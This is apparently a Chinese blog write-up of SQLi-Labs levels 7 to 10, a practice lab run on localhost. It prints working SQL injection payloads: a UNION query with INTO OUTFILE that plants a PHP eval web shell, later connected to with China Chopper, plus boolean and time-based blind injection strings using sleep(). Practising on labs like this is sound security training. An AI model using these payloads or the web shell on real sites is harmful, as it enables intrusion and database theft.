• SQLi-Labs:Less7-Less10


     因为我们用的是phpstudy,所以存在一个文件读写权限问题,我们需要修改一下,首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的值,如果像下图一样显示为NULL(这个必须做,要不然后面一句话木马写不到目录里)

     需要打开 C:phpstudyPHPTutorialMySQLmy.ini文件,在其中加上一句:secure_file_priv="/"

     重启phpstudy,在Mysql命令行重新输入命令

    再加个小知识:用到的两个函数:load_file()  读取本地文件  into outfile 写文件    可以百度函数用法,提示路径需要用双斜线


    Less 7

    我们先输入了?id=1,根据sql语句输出我们可以知道这次是单引号加双括号的字符型注入,闭合方式为?id=1'))    --+

    一般查看是否有错误是加单引号,像这一关就是,加了单引号报错,说明存在注入

    但是页面显示和前两关不一样,you are in........的后面多了use  outfile........,说明这一关让我们使用outfile函数

     还是自己练手的原因,找到了闭合方式和这熟悉的you are in.......,我忍不住用第五关的方式尝试了一下还是可以的

    首先尝试了left()函数

     

    尝试了ASCII码方式,均可

     

     

    接下来我们听话use outfile,我们会想到使用 mysql 写文件,eg:写入一句话木马,使用菜刀等工具连接

    下面我们将一句话木马写入a.php文件中。。。(存放位置:C:phpStudyPHPTutorialWWWsqli-labs-masterLess-7)

     语句:?id=-1')) union select 1,2, '<?php @eval($_POST["jyx"]); ?>' into outfile 'C:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-7\zjj.php' --+   (一句话木马里面的jyx是密码)

     如下图所示才叫写入成功

    我们先直接进行访问,url:http://localhost/sqli-labs-master/Less-7/zjj.php如下,因为一句话木马是用php写的,在这里没有显示

     

     下面用中国菜刀开始进行连接,复制上方的url,打开中国菜刀,右键添加,输入链接和上方提到的密码,点击添加

     双击新增条目,成功

     我们就成功拿到了这个网站的webshell


     Less 8

    日常先输入?id=1

     加上单引号?id=1',You are in...消失,说明存在注入漏洞

    我们加入注释符号 --+,即?id=1' --+,说明我们要以这样形式进行构造

    法一:布尔盲注 

    可以查出列数,使用 order by 语句:?id=1' order by 3 --+

     ?id=1' order by 4 --+,可以看出还是3列

     剩下的与第五关的类似,可以用left()函数,可以用ASCII码方法(猜解速度较慢),还可以用burp suite爆破

    法二:时间盲注

    小知识:if()函数——IF(condition,A,B),如果condition为true,执行A,否则执行B(若在mysql命令行中使用,首先要use ****数据库才行)

    首先?id=1' and sleep(5) --+,查看网络,发现存在漏洞并可以采用时间盲注

    我们使用if() + length()的组合猜解库名长度,这里页面返回时间正常,所以条件为真,库名长度大于7

    ?id=1' and if(length(database())>7,1,sleep(5)) --+

     ?id=1' and if(length(database())>8,1,sleep(5)) --+,根据返回时间说明条件为假,结合上面可知库名长度为8

    猜库名

     ?id=1' and if(ascii(mid((select database()),1,1))>114,1,sleep(5)) --+

     ?id=1' and if(ascii(mid((select database()),1,1))>115,1,sleep(5)) --+    说明第一个字母的ASCII码值为115,对照表知道为s,以此类推知道后几个字母

     猜其他库的库名,比如第四个库的第一个字母

     ?id=1' and if(ascii(mid((select schema_name from information_schema.schemata limit 3,1),1,1))>108,1,sleep(5)) --+

    ?id=1' and if(ascii(mid((select schema_name from information_schema.schemata limit 3,1),1,1))>109,1,sleep(5)) --+

     说明这第一个字母是m,经我查证,第四个库是mysql


    Less 9

    首先?id=1

     再?id=1’

     前面的什么双引号、单括号、双括号都试过,说明无论对错页面都不会产生变化的,所以使用sleep函数试了下

    ?id=1’ and sleep(5)--+ 使用这个语句时候,网页会停顿5秒,即存在注入漏洞

    我们可以使用第8关中的时间盲注进行操作,不可以使用布尔盲注,因为布尔盲注还是根据正确错误有不同的页面呈现的,这里始终页面是不变的;


    Less 10

    首先继续?id=1

     剩下与第九关相同,我们只要注意闭合方式是双引号的就可以啦

  • 相关阅读:
    CSDN文章列表的CSS实现
    Arcgis for Js之鼠标经过显示对象名的实现
    Java ssh 访问windows/Linux
    HTTP长连接实现“服务器推”的技术
    Eclipse设置、调优、使用
    Quartz的配置文件quartz.properties详解
    Quartz所使用的表的说明
    Quartz动态添加、修改和删除定时任务
    Quartz的misfire特性
    项目中使用Quartz集群分享--转载
  • 原文地址:https://www.cnblogs.com/ApricityJ/p/12630042.html
Copyright © 2020-2023  润新知